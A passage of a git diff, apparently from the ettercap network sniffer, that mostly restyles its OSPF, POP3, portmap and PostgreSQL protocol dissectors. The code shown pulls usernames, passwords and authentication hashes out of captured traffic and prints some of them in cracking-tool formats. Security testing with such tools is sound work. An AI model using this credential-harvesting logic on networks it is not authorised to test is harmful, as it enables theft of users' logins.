ohdr->u.crypt.auth_data_len; + int type = 0; + + /* validate the packet */ + if (length * 2 > BUFSIZE) + return NULL; + if (length > buflen) + return NULL; + + if (auth_data_len == OSPF_AUTH_MD5_SIZE) { + DISSECT_MSG("OSPF-%s-%d:$netmd5$", + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst)); + } else if (auth_data_len == OSPF_AUTH_HMAC_SHA1_SIZE) { + type = 1; + } else if (auth_data_len == OSPF_AUTH_HMAC_SHA256_SIZE) { + type = 2; + } else if (auth_data_len == OSPF_AUTH_HMAC_SHA384_SIZE) { + type = 3; + } else if (auth_data_len == OSPF_AUTH_HMAC_SHA512_SIZE) { + type = 4; + } else { + return NULL; + } + + if (type != 0) { + DISSECT_MSG("OSPF-%s-%d:$ospf$%d$", + ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst), type); + } + + for (i = 0; i < length; i++) { + if (ptr + i == NULL) + return NULL; + + DISSECT_MSG("%02x", *(ptr + i)); + } + DISSECT_MSG("$"); + for (i = length; i < length + auth_data_len; i++) { + if (ptr + i == NULL) + return NULL; + + DISSECT_MSG("%02x", *(ptr + i)); + } + DISSECT_MSG("\n"); + } else if (ntohs(ohdr->auth_type) == OSPF_AUTH) { /* Simple Authentication */ DEBUG_MSG("\tDissector_ospf PASS"); /* @@ -194,25 +189,22 @@ FUNC_DECODER(dissector_ospf) strncpy(pass, o, OSPF_AUTH_SIMPLE_SIZE); DISSECT_MSG("OSPF : %s:%d -> AUTH: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - pass); + ntohs(PACKET->L4.dst), + pass); } - /* no authentication */ - else if ( ntohs(ohdr->auth_type) == OSPF_NO_AUTH ) { + else if (ntohs(ohdr->auth_type) == OSPF_NO_AUTH) { DEBUG_MSG("\tDissector_ospf NO AUTH"); strncpy(pass, "No Auth", 8); DISSECT_MSG("OSPF : %s:%d -> AUTH: %s \n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - pass); + ntohs(PACKET->L4.dst), + pass); } return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_pop.c b/src/dissectors/ec_pop.c index e7a31b9e3..400887a48 100644 --- a/src/dissectors/ec_pop.c +++ b/src/dissectors/ec_pop.c @@ -1,27 +1,27 @@ /* - ettercap -- dissector POP3 -- TCP 110 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector POP3 -- TCP 110 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* * The authentication schema can be found here: - * + * * ftp://ftp.rfc-editor.org/in-notes/std/std53.txt * * we currently support: @@ -60,28 +60,28 @@ FUNC_DECODER(dissector_pop) struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; - + /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("pop3", s, dissector_pop); /* create the session even if we are into an ssl tunnel */ CREATE_SESSION_ON_SYN_ACK("pop3s", s, dissector_pop); - + /* check if it is the first packet sent by the server */ - if ((FROM_SERVER("pop3", PACKET) || FROM_SERVER("pop3s", PACKET)) && PACKET->L4.flags & TH_PSH) { + if ((FROM_SERVER("pop3", PACKET) || FROM_SERVER("pop3s", PACKET)) && PACKET->L4.flags & TH_PSH) { dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_pop)); /* the session exist */ - if (session_get(&s, ident, DISSECT_IDENT_LEN) != -E_NOTFOUND) { + if (session_get(&s, ident, DISSECT_IDENT_LEN) != -E_NOTFOUND) { /* prevent the deletion of session created for the user and pass */ - if (s->data == NULL) { - + if (s->data == NULL) { + /* get the banner */ - if (!strncmp((const char*)ptr, "+OK", 3)) - PACKET->DISSECTOR.banner = strdup((const char*)ptr + 4); + if (!strncmp((const char *)ptr, "+OK", 3)) + PACKET->DISSECTOR.banner = strdup((const char *)ptr + 4); else { SAFE_FREE(ident); return NULL; @@ -90,13 +90,13 @@ FUNC_DECODER(dissector_pop) DEBUG_MSG("\tdissector_pop BANNER"); /* remove the \r\n */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL) *ptr = '\0'; - + /* remove the trailing msg-id <...> */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '<')) != NULL ) { + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.banner, '<')) != NULL) { /* save the msg-id for APOP authentication */ - s->data = strdup((const char*)ptr); + s->data = strdup((const char *)ptr); /* save the session */ *(ptr - 1) = '\0'; } else { @@ -104,27 +104,27 @@ FUNC_DECODER(dissector_pop) s->data = strdup(""); } } else if (!strcmp(s->data, "AUTH")) { - /* - * the client has requested AUTH LOGIN, - * check if the server support it + /* + * the client has requested AUTH LOGIN, + * check if the server support it * else delete the session */ - if (strstr((const char*)ptr, "-ERR")) + if (strstr((const char *)ptr, "-ERR")) dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); } - } - SAFE_FREE(ident); - return NULL; - } - + } + SAFE_FREE(ident); + return NULL; + } + /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + DEBUG_MSG("POP --> TCP dissector_pop"); - + /* skip the whitespaces at the beginning */ - while(*ptr == ' ' && ptr != end) ptr++; + while (*ptr == ' ' && ptr != end) ptr++; /* reached the end */ if (ptr == end) return NULL; @@ -135,28 +135,28 @@ FUNC_DECODER(dissector_pop) * USER user * PASS pass */ - if ( !strncasecmp((const char*)ptr, "USER ", 5) ) { + if (!strncasecmp((const char *)ptr, "USER ", 5)) { DEBUG_MSG("\tDissector_POP USER"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); - + /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_pop)); - + ptr += 5; - + /* if not null, free it */ SAFE_FREE(s->data); /* fill the session data */ - s->data = strdup((const char*)ptr); - s->data_len = strlen((const char*)ptr); - - if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) + s->data = strdup((const char *)ptr); + s->data_len = strlen((const char *)ptr); + + if ((ptr = (u_char *)strchr(s->data, '\r')) != NULL) *ptr = '\0'; - + /* save the session */ session_put(s); @@ -164,29 +164,29 @@ FUNC_DECODER(dissector_pop) } /* harvest the password */ - if ( !strncasecmp((const char*)ptr, "PASS ", 5) ) { + if (!strncasecmp((const char *)ptr, "PASS ", 5)) { DEBUG_MSG("\tDissector_POP PASS"); - + ptr += 5; - + /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_pop)); - + /* retrieve the session and delete it */ if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } - + SAFE_FREE(ident); /* check that the user was sent before the pass */ if (s->data == NULL) { return NULL; } - - /* + + /* * if the PASS command is issued before the USER one, we have to APOP * digest in the s->data. we can check it on the first char. who has an * username beginning with '<' ??? :) @@ -194,12 +194,12 @@ FUNC_DECODER(dissector_pop) if (*(char *)(s->data) == '<') { return NULL; } - + /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); - - PACKET->DISSECTOR.pass = strdup((const char*)ptr); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + + PACKET->DISSECTOR.pass = strdup((const char *)ptr); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; /* free the session */ @@ -207,27 +207,27 @@ FUNC_DECODER(dissector_pop) /* print the message */ DISSECT_MSG("POP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); return NULL; } - -/* + +/* * APOP authentication : * * APOP user md5-digest * * MD5-diges is computed on "pass" */ - if ( !strncasecmp((const char*)ptr, "APOP ", 5) ) { - + if (!strncasecmp((const char *)ptr, "APOP ", 5)) { + DEBUG_MSG("\tDissector_POP APOP"); - + /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_pop)); - + /* retrieve the session and delete it */ if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); @@ -239,13 +239,13 @@ FUNC_DECODER(dissector_pop) SAFE_FREE(ident); return NULL; } - + /* move the pointers to "user" */ ptr += 5; - PACKET->DISSECTOR.user = strdup((const char*)ptr); - + PACKET->DISSECTOR.user = strdup((const char *)ptr); + /* split the string */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, ' ')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.user, ' ')) != NULL) *ptr = '\0'; else { /* malformed string */ @@ -254,16 +254,15 @@ FUNC_DECODER(dissector_pop) SAFE_FREE(ident); return NULL; } - - + /* skip the \0 */ ptr += 1; - + /* save the user */ - PACKET->DISSECTOR.pass = strdup((const char*)ptr); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + PACKET->DISSECTOR.pass = strdup((const char *)ptr); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - + /* set the info */ PACKET->DISSECTOR.info = strdup(s->data); @@ -273,14 +272,14 @@ FUNC_DECODER(dissector_pop) /* print the message */ DISSECT_MSG("POP : %s:%d -> USER: %s MD5-digest: %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); return NULL; } - -/* + +/* * AUTH LOGIN * * digest(user) @@ -288,26 +287,26 @@ FUNC_DECODER(dissector_pop) * * the digests are in base64 */ - if ( !strncasecmp((const char*)ptr, "AUTH LOGIN", 10) ) { - + if (!strncasecmp((const char *)ptr, "AUTH LOGIN", 10)) { + DEBUG_MSG("\tDissector_POP AUTH LOGIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); - + /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_pop)); - + /* remember the state (used later) */ s->data = strdup("AUTH"); - + /* save the session */ session_put(s); /* username is in the next packet */ return NULL; } - + /* search the session (if it exist) */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_pop)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { @@ -316,129 +315,126 @@ FUNC_DECODER(dissector_pop) } SAFE_FREE(ident); - + /* the session is invalid */ if (s->data == NULL) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); return NULL; } -/* collect the user */ +/* collect the user */ if (!strcmp(s->data, "AUTH")) { char *user; int i; - + DEBUG_MSG("\tDissector_POP AUTH LOGIN USER"); - - SAFE_CALLOC(user, strlen((const char*)ptr), sizeof(char)); - + + SAFE_CALLOC(user, strlen((const char *)ptr), sizeof(char)); + /* username is encoded in base64 */ - i = base64decode((const char*)ptr, &user); - + i = base64decode((const char *)ptr, &user); + SAFE_FREE(s->data); /* store the username in the session */ - SAFE_CALLOC(s->data, strlen("AUTH USER ") + i + 1, sizeof(char) ); - + SAFE_CALLOC(s->data, strlen("AUTH USER ") + i + 1, sizeof(char)); + snprintf(s->data, strlen("AUTH USER ") + i + 1, "AUTH USER %s", user); - + SAFE_FREE(user); /* pass is in the next packet */ return NULL; } - -/* collect the pass */ + +/* collect the pass */ if (!strncmp(s->data, "AUTH USER", 9)) { char *pass; DEBUG_MSG("\tDissector_POP AUTH LOGIN PASS"); - - SAFE_CALLOC(pass, strlen((const char*)ptr) + 1, sizeof(char)); - + + SAFE_CALLOC(pass, strlen((const char *)ptr) + 1, sizeof(char)); + /* password is encoded in base64 */ - base64decode((const char*)ptr, &pass); - + base64decode((const char *)ptr, &pass); + /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data + strlen("AUTH USER ")); PACKET->DISSECTOR.pass = strdup(pass); - + SAFE_FREE(pass); /* destroy the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); - + /* print the message */ DISSECT_MSG("POP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); return NULL; } - -/* + +/* * AUTH PLAIN * * digest(userpass) * * the digests are in base64 */ - if ( !strncasecmp((const char*)ptr, "AUTH PLAIN", 10) ) { - + if (!strncasecmp((const char *)ptr, "AUTH PLAIN", 10)) { + DEBUG_MSG("\tDissector_POP AUTH PLAIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); - + /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_pop)); - + /* remember the state (used later) */ s->data = strdup("AUTH PLAIN"); - + /* save the session */ session_put(s); /* username is in the next packet */ return NULL; } - -/* collect the user and pass (the session was retrived above) */ + +/* collect the user and pass (the session was retrived above) */ if (!strcmp(s->data, "AUTH PLAIN")) { char *decode; - + DEBUG_MSG("\tDissector_POP AUTH PLAIN USER and PASS"); - - SAFE_CALLOC(decode, strlen((const char*)ptr) + 1, sizeof(char)); - + + SAFE_CALLOC(decode, strlen((const char *)ptr) + 1, sizeof(char)); + /* username is encoded in base64 */ - base64decode((const char*)ptr, &decode); - + base64decode((const char *)ptr, &decode); + SAFE_FREE(s->data); /* store the username (skip the null)*/ PACKET->DISSECTOR.user = strdup(decode + 1); /* store the password (skip the null)*/ - PACKET->DISSECTOR.pass = strdup(decode + 2 + strlen(decode + 1) ); - + PACKET->DISSECTOR.pass = strdup(decode + 2 + strlen(decode + 1)); + SAFE_FREE(decode); - + dissect_wipe_session(PACKET, DISSECT_CODE(dissector_pop)); - + /* print the message */ DISSECT_MSG("POP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); return NULL; } - - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_portmap.c b/src/dissectors/ec_portmap.c index 3f6c5bf2d..da5165672 100644 --- a/src/dissectors/ec_portmap.c +++ b/src/dissectors/ec_portmap.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector portmap - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector portmap + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -49,10 +49,10 @@ typedef struct { extern FUNC_DECODER(dissector_mountd); RPC_DISSECTOR Available_RPC_Dissectors[] = { - {100005, 1, "mountd", dissector_mountd }, - {100005, 2, "mountd", dissector_mountd }, - {100005, 3, "mountd", dissector_mountd }, - { 0, 0, "", NULL } + { 100005, 1, "mountd", dissector_mountd }, + { 100005, 2, "mountd", dissector_mountd }, + { 100005, 3, "mountd", dissector_mountd }, + { 0, 0, "", NULL } }; /* protos */ @@ -84,21 +84,21 @@ FUNC_DECODER(dissector_portmap) /* don't complain about unused var */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* skip packets which are not useful */ - if (PACKET->DATA.len < 24) + if (PACKET->DATA.len < 24) return NULL; - + DEBUG_MSG("portmap --> dissector_portmap"); /* Offsets differs from TCP to UDP (?) */ if (PACKET->L4.proto == NL_TYPE_TCP) ptr += 4; - xid = pntol(ptr); + xid = pntol(ptr); proc = pntol(ptr + 20); type = pntol(ptr + 4); @@ -107,22 +107,22 @@ FUNC_DECODER(dissector_portmap) /* CALL */ if (FROM_CLIENT("portmap", PACKET)) { if (type != 0 || session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - SAFE_FREE(ident); + SAFE_FREE(ident); return NULL; } - + SAFE_FREE(ident); dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_portmap)); SAFE_CALLOC(s->data, 1, sizeof(portmap_session)); pe = (portmap_session *)s->data; - pe->xid = xid; - pe->prog = pntol(ptr + 40); - pe->ver = pntol(ptr + 44); + pe->xid = xid; + pe->prog = pntol(ptr + 40); + pe->ver = pntol(ptr + 44); pe->proto = pntol(ptr + 48); /* DUMP */ - if ( proc == 4 ) + if (proc == 4) pe->prog = DUMP; session_put(s); @@ -140,34 +140,35 @@ FUNC_DECODER(dissector_portmap) pe = (portmap_session *)s->data; if (!pe) return NULL; - + /* Unsuccess or not a reply */ - if ( (pe->xid != xid || pntol(ptr + 8) != 0 || type != 1) - && pe->status != MORE_FRAG) + if ((pe->xid != xid || pntol(ptr + 8) != 0 || type != 1) + && pe->status != MORE_FRAG) return NULL; - + /* GETPORT Reply */ if (pe->prog != DUMP) { port = pntol(ptr + 24); - - for (i=0; Available_RPC_Dissectors[i].program != 0; i++ ) { - if ( Available_RPC_Dissectors[i].program == pe->prog && - Available_RPC_Dissectors[i].version == pe->ver ) { + + for (i = 0; Available_RPC_Dissectors[i].program != 0; i++) { + if (Available_RPC_Dissectors[i].program == pe->prog && + Available_RPC_Dissectors[i].version == pe->ver) + { if (pe->proto == IPPROTO_TCP) { - if (dissect_on_port_level((char*)Available_RPC_Dissectors[i].name, port, APP_LAYER_TCP) == E_SUCCESS) + if (dissect_on_port_level((char *)Available_RPC_Dissectors[i].name, port, APP_LAYER_TCP) == E_SUCCESS) break; - dissect_add((char*)Available_RPC_Dissectors[i].name, APP_LAYER_TCP, port, Available_RPC_Dissectors[i].dissector); + dissect_add((char *)Available_RPC_Dissectors[i].name, APP_LAYER_TCP, port, Available_RPC_Dissectors[i].dissector); DISSECT_MSG("portmap : %s binds [%s] on port %d TCP\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - Available_RPC_Dissectors[i].name, - port); + Available_RPC_Dissectors[i].name, + port); } else { - if (dissect_on_port_level((char*)Available_RPC_Dissectors[i].name, port, APP_LAYER_UDP) == E_SUCCESS) + if (dissect_on_port_level((char *)Available_RPC_Dissectors[i].name, port, APP_LAYER_UDP) == E_SUCCESS) break; - dissect_add((char*)Available_RPC_Dissectors[i].name, APP_LAYER_UDP, port, Available_RPC_Dissectors[i].dissector); + dissect_add((char *)Available_RPC_Dissectors[i].name, APP_LAYER_UDP, port, Available_RPC_Dissectors[i].dissector); DISSECT_MSG("portmap : %s binds [%s] on port %d UDP\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - Available_RPC_Dissectors[i].name, - port); + Available_RPC_Dissectors[i].name, + port); } break; } @@ -178,58 +179,57 @@ FUNC_DECODER(dissector_portmap) offs = pe->next_offs; else offs = 24; - while ( (PACKET->DATA.len - offs) >= MAP_LEN ) { + while ((PACKET->DATA.len - offs) >= MAP_LEN) { program = pntol(ptr + offs + 4); version = pntol(ptr + offs + 8); - proto = pntol(ptr + offs + 12); - port = pntol(ptr + offs + 16); - for (i=0; Available_RPC_Dissectors[i].program != 0; i++) { + proto = pntol(ptr + offs + 12); + port = pntol(ptr + offs + 16); + for (i = 0; Available_RPC_Dissectors[i].program != 0; i++) { - if ( Available_RPC_Dissectors[i].program == program && - Available_RPC_Dissectors[i].version == version ) { + if (Available_RPC_Dissectors[i].program == program && + Available_RPC_Dissectors[i].version == version) + { if (proto == IPPROTO_TCP) { - if (dissect_on_port_level((char*)Available_RPC_Dissectors[i].name, port, APP_LAYER_TCP) == E_SUCCESS) + if (dissect_on_port_level((char *)Available_RPC_Dissectors[i].name, port, APP_LAYER_TCP) == E_SUCCESS) break; - dissect_add((char*)Available_RPC_Dissectors[i].name, APP_LAYER_TCP, port, Available_RPC_Dissectors[i].dissector); + dissect_add((char *)Available_RPC_Dissectors[i].name, APP_LAYER_TCP, port, Available_RPC_Dissectors[i].dissector); DISSECT_MSG("portmap : %s binds [%s] on port %d TCP\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - Available_RPC_Dissectors[i].name, - port); + Available_RPC_Dissectors[i].name, + port); } else { - if (dissect_on_port_level((char*)Available_RPC_Dissectors[i].name, port, APP_LAYER_UDP) == E_SUCCESS) + if (dissect_on_port_level((char *)Available_RPC_Dissectors[i].name, port, APP_LAYER_UDP) == E_SUCCESS) break; - dissect_add((char*)Available_RPC_Dissectors[i].name, APP_LAYER_UDP, port, Available_RPC_Dissectors[i].dissector); + dissect_add((char *)Available_RPC_Dissectors[i].name, APP_LAYER_UDP, port, Available_RPC_Dissectors[i].dissector); DISSECT_MSG("portmap : %s binds [%s] on port %d UDP\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - Available_RPC_Dissectors[i].name, - port); - } + Available_RPC_Dissectors[i].name, + port); + } break; } } offs += MAP_LEN; } - /* - * Offset to the beginning of the first + /* + * Offset to the beginning of the first * valid structure in the next packet */ pe->next_offs = (MAP_LEN + 4) - (PACKET->DATA.len - offs); } /* Check if we have to wait for more reply fragments */ - if ( PACKET->L4.proto == NL_TYPE_TCP && !(pntol(ptr - 4)&LAST_FRAG) ) + if (PACKET->L4.proto == NL_TYPE_TCP && !(pntol(ptr - 4) & LAST_FRAG)) pe->status = MORE_FRAG; else - dissect_wipe_session(PACKET, DISSECT_CODE(dissector_portmap)); + dissect_wipe_session(PACKET, DISSECT_CODE(dissector_portmap)); return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_postgresql.c b/src/dissectors/ec_postgresql.c index cdbc9510d..b10bd8198 100644 --- a/src/dissectors/ec_postgresql.c +++ b/src/dissectors/ec_postgresql.c @@ -1,32 +1,32 @@ /* - ettercap -- dissector for PostgreSQL authentication traffic -- TCP 5432 - - Copyright (C) Dhiru Kholia (dhiru at openwall.com) - - Tested with, - - 1. PostgreSQL 9.2.1 64-bit server on Arch Linux - 2. PostgreSQL 9.2.1 64-bit server on Windows 2008 R2 SP1 - - Special thanks to RhodiumToad from #postgresql - - Reference: http://www.postgresql.org/docs/9.2/static/protocol.html - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -*/ + * ettercap -- dissector for PostgreSQL authentication traffic -- TCP 5432 + * + * Copyright (C) Dhiru Kholia (dhiru at openwall.com) + * + * Tested with, + * + * 1. PostgreSQL 9.2.1 64-bit server on Arch Linux + * 2. PostgreSQL 9.2.1 64-bit server on Windows 2008 R2 SP1 + * + * Special thanks to RhodiumToad from #postgresql + * + * Reference: http://www.postgresql.org/docs/9.2/static/protocol.html + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * + */ #include #include @@ -58,22 +58,22 @@ void postgresql_init(void); /************************************************/ -#define GET_ULONG_BE(n,b,i) \ -{ \ - (n) = ( (unsigned long) (b)[(i) ] << 24 ) \ - | ( (unsigned long) (b)[(i) + 1] << 16 ) \ - | ( (unsigned long) (b)[(i) + 2] << 8 ) \ - | ( (unsigned long) (b)[(i) + 3] ); \ -} +#define GET_ULONG_BE(n, b, i) \ + { \ + (n) = ((unsigned long)(b)[(i)] << 24) \ + | ((unsigned long)(b)[(i) + 1] << 16) \ + | ((unsigned long)(b)[(i) + 2] << 8) \ + | ((unsigned long)(b)[(i) + 3]); \ + } -static char itoa16[16] = "0123456789abcdef"; +static char itoa16[16] = "0123456789abcdef"; static inline void hex_encode(unsigned char *str, int len, unsigned char *out) { int i; for (i = 0; i < len; ++i) { - out[0] = itoa16[str[i]>>4]; - out[1] = itoa16[str[i]&0xF]; + out[0] = itoa16[str[i] >> 4]; + out[1] = itoa16[str[i] & 0xF]; out += 2; } } @@ -97,10 +97,10 @@ FUNC_DECODER(dissector_postgresql) struct postgresql_status *conn_status; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + if (FROM_CLIENT("postgresql", PACKET)) { if (PACKET->DATA.len < 4) return NULL; @@ -119,28 +119,28 @@ FUNC_DECODER(dissector_postgresql) /* remember the state (used later) */ SAFE_CALLOC(s->data, 1, sizeof(struct postgresql_status)); - conn_status = (struct postgresql_status *) s->data; + conn_status = (struct postgresql_status *)s->data; conn_status->status = WAIT_AUTH; /* user is always null-terminated */ - strncpy((char*)conn_status->user, (char*)(u + 5), 65); + strncpy((char *)conn_status->user, (char *)(u + 5), 65); conn_status->user[64] = 0; /* database is always null-terminated */ - strncpy((char*)conn_status->database, (char*)(d + 9), 65); + strncpy((char *)conn_status->database, (char *)(d + 9), 65); conn_status->database[64] = 0; /* save the session */ session_put(s); } } else { - conn_status = (struct postgresql_status *) s->data; + conn_status = (struct postgresql_status *)s->data; if (conn_status->status == WAIT_RESPONSE) { /* check for PasswordMessage packet */ if (ptr[0] == 'p' && conn_status->type == MD5) { DEBUG_MSG("\tDissector_postgresql RESPONSE type is MD5"); - if(memcmp(ptr + 1, "\x00\x00\x00\x28", 4)) { + if (memcmp(ptr + 1, "\x00\x00\x00\x28", 4)) { DEBUG_MSG("\tDissector_postgresql BUG, expected length is 40"); return NULL; } @@ -152,17 +152,16 @@ FUNC_DECODER(dissector_postgresql) conn_status->hash[32] = 0; DISSECT_MSG("%s:$postgres$%s*%s*%s:%s:%d\n", conn_status->user, conn_status->user, conn_status->salt, conn_status->hash, ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst)); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql)); - } - else if (ptr[0] == 'p' && conn_status->type == CT) { + } else if (ptr[0] == 'p' && conn_status->type == CT) { unsigned int length; DEBUG_MSG("\tDissector_postgresql RESPONSE type is clear-text!"); GET_ULONG_BE(length, ptr, 1); length -= 4; - if (length > 65 || PACKET->DATA.len < length+5) { - dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql)); - return NULL; + if (length > 65 || PACKET->DATA.len < length + 5) { + dissect_wipe_session(PACKET, DISSECT_CODE(dissector_postgresql)); + return NULL; } - snprintf((char*)conn_status->password, length+1, "%s", (char*)(ptr + 5)); + snprintf((char *)conn_status->password, length + 1, "%s", (char *)(ptr + 5)); DISSECT_MSG("PostgreSQL credentials:%s-%d:%s:%s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), 